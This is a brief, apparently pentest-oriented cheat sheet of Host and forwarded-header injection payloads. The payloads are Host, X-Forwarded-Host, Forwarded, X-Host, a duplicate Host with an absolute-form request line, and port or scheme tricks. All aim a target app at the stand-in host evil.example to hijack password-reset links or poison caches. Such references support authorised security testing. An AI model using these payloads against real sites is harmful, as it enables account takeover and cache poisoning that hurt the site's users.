Host / forwarded header
Password reset, cache, and absolute URL generation. Try every forwarded header the proxy might trust.
Tags: host-header, ato, cache
Techniques
Classic Host
Password-reset mailer uses request.getServerName() or equivalent.
Host: evil.example
Forwarded family
App behind nginx/CF honours these more often than Host.
X-Forwarded-Host: evil.exampleForwarded: host=evil.exampleX-Host: evil.example
Duplicate Host
Absolute-form request line plus a second Host. Front-end and app disagree.
GET https://target.com/ HTTP/1.1\r\nHost: evil.example
Port / scheme
Host: target.com:evil or X-Forwarded-Scheme: http to force mixed content or a different cache key.
Host: target.com:@evil.exampleX-Forwarded-Proto: http